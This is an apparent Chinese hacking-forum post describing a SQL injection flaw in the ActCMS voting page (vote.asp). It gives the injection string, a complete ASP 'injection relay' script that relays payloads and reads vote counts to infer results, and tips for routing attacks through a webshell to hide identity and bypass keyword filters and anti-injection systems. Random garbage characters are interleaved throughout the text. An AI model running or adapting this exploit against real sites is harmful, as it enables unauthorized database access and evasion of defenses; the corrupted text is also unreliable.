中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

( T" r# L% A4 G5 ]' a4 r看到ninty大牛的blog的一篇文章# d4 Q4 N2 s& u- K  Q0 i
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
  d1 S! L+ B4 Q. N8 B& c( t* v关于actcms漏洞的利用  by 3x qq:381862589
# H. a1 s1 i2 T  N! e3 r8 R, O转载请注明以上
/ W# Z6 U- W* k+ N3 V1 ?漏洞文件:
1 d" z! i3 X) q/ f* B/plus/vote/vote.asp3 R: d2 s' p/ N' U. T
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
; H  S2 g; `4 X2 n2 N5 e9 ?  l
4 R/ `5 @9 O* x8 ^% }2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   * [2 C$ N* b# J! h7 E) u
* d: k! s4 z# A/ x5 u" i3 g
3    response.end   
) Q* j0 j0 q# T# v9 L3 G9 c2 r6 d$ I% n( [' x) r: B
4    end if    * Z( C+ S# J: f4 E
9 I5 T* q/ X7 t
5    for i=1 to request("voted").count   
, `9 h0 ?2 x: d& r8 _$ p2 G. q; E) H$ X8 j7 w! G
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    - s6 d0 X6 x% G

: L( ~! R6 P3 e1 w7 J0 F- p2 q7    next    9 @9 h  \+ C/ u4 r* a" _
& s" F# d  Y- j5 B- m; ^. w6 h- k
8....   
* B" Y1 `7 V3 ~* A
& D  C- O1 Z5 O  s9response.Redirect "index.asp?id="&id&""   
, s" F6 p9 C# v& A. N" m+ n+ Q投票结束回跳转回index.asp这个投票结果页面
3 ]) s2 n6 Z. x! h如果投票成功票数加1% s% ?9 N1 G0 `- A; B/ \9 P+ _6 n6 Z
            失败票数不变, g& B' G' N2 B
如图:
" M9 ~9 \( G( g2 S! ]http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)3 g9 B# T- f% v% a2 d! I9 x

" f7 n  N$ Q+ P" Y4 t2009-12-27 13:20
3 u1 {" N3 D" \1 u% c$ D7 ^, f3 S! e$ Z3 E
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了: K' `% |$ a* Q; B! b
3 K- P" Z8 B+ c' }
本帖隐藏的内容需要回复才可以浏览* O; o; d( @) `- C. f
我们用注入中转来实现这个注入具体代码如下:5 w  b& \  v, ]0 I1 C
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: M& w+ l5 y& I+ Q) |% F# y# J注入地址:http://localhost/actcms/plus/vote/vote.asp! l4 D2 C% y8 x3 y
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
) j0 N4 j& L* h& h
$ X9 h. d  P0 K2 m( k7 e+ z然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
; c0 N  |, c1 U9 W0 y8 {$ |5 o0 ?% q2 W2 [& u& Q6 y- {! p
02JmdcwName=request("jmdcw")   b, f; \5 M8 Y; d9 E) l
3 U6 T2 a5 W3 w. a8 z7 v
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] & m& L5 b& ]8 @7 u9 c
! K' e, [# d8 X2 L+ t6 x
04JmStr="id=1&voted=-1 or 1="&JmdcwName
" H: ]8 P+ d. @# ~* n2 ^0 ^$ A) H7 ^% p
05JmStr=URLEncoding(JmStr)
) _6 S' G* {" i5 i# I. v$ l9 w4 O  k( [" X& ^
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
: L3 X  H9 X  ~5 F6 G! `, u$ D8 q" T- {1 p
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"! j& d$ H. `3 W* L* z9 V% d6 o- Y
- I9 V5 D/ u5 S5 T
08testurl=testurl & "?" & JmStr
% {$ r$ [7 B8 z; i2 R, M! v/ h, j8 W
09JMUrl=JMUrl & "?" & JmStr 5 e3 N  B8 g' H5 L) Q/ ^; K
# j- M+ b4 B6 d: P' }4 U
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
! K, D2 m8 |( S1 B5 J& {6 H" d/ g' b$ t$ [% j' s
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
& f4 ?- v9 p; A
: S% E: [" i3 ?0 R12JmCok=replace(JmCok,chr(32),"%20")  
0 l8 N9 k& u: B; {5 r
3 v8 {! W* B  t  U* w2 O; U! y13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' W% i' V+ W' Y4 r) z1 x% p5 T( w6 }9 d( \
14  
+ y$ v8 O$ O/ a3 H
- x* R( [; r. O8 ^/ i" b) C15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
; w- }" |# L! b* L6 a  @: v) V) g  p& Y0 P
16  
1 S/ D0 v. a! X, q1 A5 ?+ A' l$ Z/ o- v! O* t* ?
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 ' l7 _+ O# v* Y8 U, D7 t3 ]

$ K$ Y3 R# l6 I18response.write test1&""&test2&""
$ r& P' [$ ~8 Z7 v) [
" J2 m, y. F1 }1 Z5 ~! G19  # f8 f; ~9 ?- `4 }/ Z
' x( N# M1 g) d
20if test1=test2 then '如前后记录相等,表示失败
2 E/ j& L  O) E
. ^% {1 O0 f& Z' b21  response.write "failed"2 P0 S  V' k$ ]  }# Z% Y

- F/ ?; w% I* u( R+ k22else * Z9 S3 r' g$ k# i

9 _' ?/ c" E; q" B  t6 B23  response.write "succeed"$ `( H5 Y. p- W; Z$ o& P6 W, Y  ?
; W8 X4 E3 j$ X, w: G) ]$ [! Y7 }2 T
24end if    k' O. G! \7 e* D5 h) g8 ], e+ L/ y

; ]5 F3 ~( H# ^9 `) a" s0 ~25  $ b8 I  X. t( m3 }7 r: d+ l  C9 r6 u9 A
3 }) X+ h7 @' s/ Z
26response.write "by 3x", \0 j" A" Y" H! }

# x) R3 T( @% @( s  E27  
; n2 X" @: Y+ Z) M+ G# E# I3 S; K2 p  R7 l& a
28  
, D, c' k3 K5 |4 a/ f# W. s
+ Y. b- E# k' D, `( k: ^( R8 _29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
/ Q. h# c2 G& u( N5 x* m% w
+ ?! ~' C0 h+ c6 C. z( b. M9 ~30Dim Http 0 K! ~; w0 ]7 @5 X4 U1 }2 g+ k

4 T: U4 x5 ?9 s6 v+ R# q8 r$ M/ c; M31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
* S  D( ~# p( {5 S7 ]5 U& a$ V. D' d3 q  A, `
32With Http 1 Z/ p6 m' V# K) l
% x9 G; W$ m5 O+ K" S: p9 L
33  
5 x$ o: T( W6 i$ ]# Q0 n3 q; g6 B* T
* }' @+ S/ n0 R- e3 i* {34.Open "GET",PostUrl,False9 H8 F0 M: f, z# F: n: j: c

( F9 \; T$ |- o/ T3 t35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"8 X! S& b+ {' M. f* R$ v# }; U3 h: C' V
/ G# l' M5 U' ^2 k; {
36.SetRequestHeader "Referer",PostRef
$ @( k- E- N6 S7 a7 y) m
- {! x( [( V6 q9 t+ \37.SetRequestHeader "Cookie",PostCok
4 q" h: b5 ^* D" L* W, N2 j  D( a3 d" V& u4 N
38.Send () 0 [, L7 m/ s8 J$ g+ [

( [+ X0 b4 ]- n  L39PostData = .ResponseBody
: q2 @2 S, @, P0 B) i! ]* }1 }; I/ i* {9 m/ ~. l, n/ j
40End With
  X, C- E, Z# F! g& Y6 [4 Q/ k5 ~. T& q$ \2 e: f4 S# C9 w  |
41Set Http = Nothing
+ e( J( ]/ G% x( @
) V/ x* ^* o* C/ I% j42PostData =bytes2BSTR(PostData)
% D  K6 H% V$ v$ h/ J# k* M
1 Z+ x7 v7 W' K9 m. b# g. `43End Function2 S* b. R6 {% Z# X
$ y1 A) H4 N2 z6 y
44  
3 i2 z5 J: z8 A$ k; G( H+ L. ?# O% i1 A* D) W8 W( F
45  + h# @, [9 s, C' M, h" r" K
' M, N( S9 J6 Q# x0 u3 {. q! I; O
46Function bytes2BSTR(vIn)
& s: y3 O- c9 V+ J& p+ d
5 |7 e# }6 a( B3 X' W47Dim strReturn
2 K0 s9 X- @% [) `8 K4 i7 b9 u8 T7 @" R3 ~/ g2 N7 P/ R
48Dim I, ThisCharCode, NextCharCode
) Y1 E& g/ g& e& O( {' ]* F+ t. X
; R/ z7 _/ ?* r49strReturn = """ Y. N2 Z0 ]  C3 W9 h

( X0 B8 y& S) i; r50For I = 1 To LenB(vIn)
: R9 K6 X% Q9 F# R9 D, i
/ i2 e, t, _! w$ {$ H0 L4 c51ThisCharCode = AscB(MidB(vIn, I, 1)) 6 L+ N! K2 k8 v* ?) T* M
% w8 [$ g5 s! o
52If ThisCharCode < &H80 Then5 ?& _, g) [# ]
- b( D# m5 Z4 V) }8 g1 K' u
53strReturn = strReturn & Chr(ThisCharCode)
( b* x6 Q' @$ ~& d& g+ D  w8 U6 f/ b- D/ K8 }! c8 Y, b
54Else
( k  v; |4 g4 X+ {% C% U4 O* T7 C8 p; j' B; q; Q
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ) T' {8 f* r0 w: U7 m

8 }% ]  T3 u" Q1 y0 R# ~2 S56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
' p* `' w# `9 t- G6 Z# N0 d3 h- }
57I = I + 1 " j8 O4 c$ F5 r! o6 @; F
* H# S4 J, `, a3 @
58End If( g9 ~, a8 M- g  I, J

% G7 F. p1 |: \  v5 D8 `; G0 `59Next7 U# y* V$ E+ d! x5 e# m
" D) U0 D, u3 \" W) y: e
60bytes2BSTR = strReturn 6 {0 T* l$ C. ^5 ?: m' ^) M
) x) T, g) J! g; B, Z
61End Function. ~% x. \/ `. f2 f, o: a. Y

0 u7 @& k( t: x" d4 H62  2 A- k6 I5 h5 Q4 v, w, N  x5 x
8 e8 t  P; O* G7 d9 U9 n
63Function URLEncoding(vstrin)  + k, |" T' s. K( @2 m+ K; X

, Q# N8 ]  ~8 b+ J0 Y4 {64strReturn=""9 {, D! _, E/ m  @

5 i" U+ C% S  p4 G+ W- Q65Dim i
8 B( e6 z& J# o& S; y# p
8 z& \1 _' d5 J  b/ K66For i=1 To Len(vstrin) " k  G, G- M% ]: c- g
: T2 j# m8 q  q) n, N. p
67ThisChr=Mid(vstrin,i,1) ( c( k) {) D/ v% \1 Q1 s) j
4 U( Y  ]7 a) ^2 V
68if Abs(Asc(ThisChr))< &HFF Then0 a! X# s# A! ]) z; C
5 u, f7 Q+ ?4 o; l
69strReturn=strReturn & ThisChr % W0 W) J) }" ?6 y/ F
' X. n2 `" D5 J  X
70Else6 a! a& R; [4 p5 |

- e, q8 q$ K$ s! c5 T71InnerCode=Asc(ThisChr) 9 Z3 ?7 W( F- C) b3 a1 K3 g

7 J5 W, l* k* k8 W8 f9 p  |+ y72If InnerCode<0 Then0 o4 S* s" E3 u& d( m3 I

' {/ @+ D8 ?; d6 o" `( Y73InnerCode=InnerCode + &H10000 , _) M6 J- |6 I, L# k# D: `! s. A

" V2 _0 z$ u4 }0 T74End If
6 s. r0 l$ v6 m6 G2 y. _* K$ u8 G) p9 J) _
75Hight1=(InnerCode And &HFF00) \&HFF ( D2 g  |5 p4 g) ^
! K* @2 o! S- m) s
76Low1=InnerCode And &HFF + h7 G$ z2 B2 z. G; Q; l

) T* V  _0 c* c- P7 m2 O77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
- a' j0 r' x1 G- A5 X
4 Y- T' M* O1 k; H" c7 h78End if
5 X# [8 J, A1 k8 ?/ h' l7 Q$ L; k! [8 V* `- G# O
79Next
& s3 s1 S7 Z, d# v
) c+ O4 T% @) U" \1 n, l; L80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 l# G# E# H) G0 ^# V6 U
) @" ^, i! f" g6 o% \81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ! p! p2 |. x5 I* d  O
0 `1 ~0 u) C- N* ?8 k( c' F
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ) V- p% }4 `* i2 |0 h6 e. [
1 z! c) D4 T% c6 U' s  L9 H; c
83URLEncoding=strReturn
. ]& j4 l6 x' S4 J7 r
$ B6 A- g+ b( v8 ]84End Function1 @* g! J4 c, O8 W% U, t

2 o/ A& {0 ]. o, e* o85  $ @5 W. \; g% H6 U, s) C( S3 ~

' ^" O. }2 o! E, Q2 }$ l86function getSt(body) 1 t3 L3 `7 V9 c: i2 A9 ]5 o: q4 t

7 f% @8 e+ X8 p0 u8 K3 i87  startpot=instr(body,"投票人数:")+len("投票人数:")
) P1 A9 w. o4 f+ p
. A0 s4 E& S4 S, ^2 {8 y88  endpot=instr(startpot,body," ")
" @6 w5 E; S# t! r3 P3 U  i5 @2 E; r, O! [: M
89  getSt=mid(body,startpot,endpot-startpot)
7 S6 T! T. Z+ S" X( `! E3 Y7 S$ T, e4 ]. B
90end function
. U% f( M) q1 y. ?5 P7 S" V% {3 C  s0 q- N
91%>0 t; z8 F+ f7 }! j5 S! E
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了8 |* C' S' \7 {) f3 ]1 L
测试下效果:
8 ~/ ]! j) E# d3 X/ l投票成功:
+ h# B4 r( h0 \: M1 q; _5 V' yhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
$ B  ~( n- k- z! s( }
% ?, p0 C4 o, Q! H$ A+ K2009-12-27 13:29
: V4 i% @2 Z6 @! ?+ O投票失败% d& w1 t- N7 e+ c0 ?
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)6 a$ e4 Q* L4 b5 D" m: P$ J# F
( b9 d! c, V6 z: k3 P
2009-12-27 13:29
2 @7 ]& Y& c7 U! L9 S-------------------------------------------------------------------------------) Q2 e2 E# _3 s5 q+ U+ ?6 S0 `
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ e  Q8 W" c- |: c很抱歉。。。只能用单线程工具去注入。。。。。
  e, F6 ]: s6 Q- W6 @所以失败。。。不好意思。。。
$ c) x7 u# z3 J5 T/ b+ `-------------------------------------------------------------------------------
# z0 _( G4 v# b0 D2 C( m5 c3 K; x6 Z7 B" O
注入中转的一些其他应用2 {6 O8 B# Y$ D9 o
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了7 W# h6 w% U, j+ _2 Y4 p
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id2 k9 h& U  C4 `$ P
2.post注入转成get型的注入,方便我们使用工具来跑
* j1 E! }0 {6 d, i7 n, @3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")) ]2 y" t. S( v; Z" J3 c" C
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
8 I! x4 n7 h/ k5 p7 s0 e5 L$ ]9 s( Q! j! C7 A# W# i9 @





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2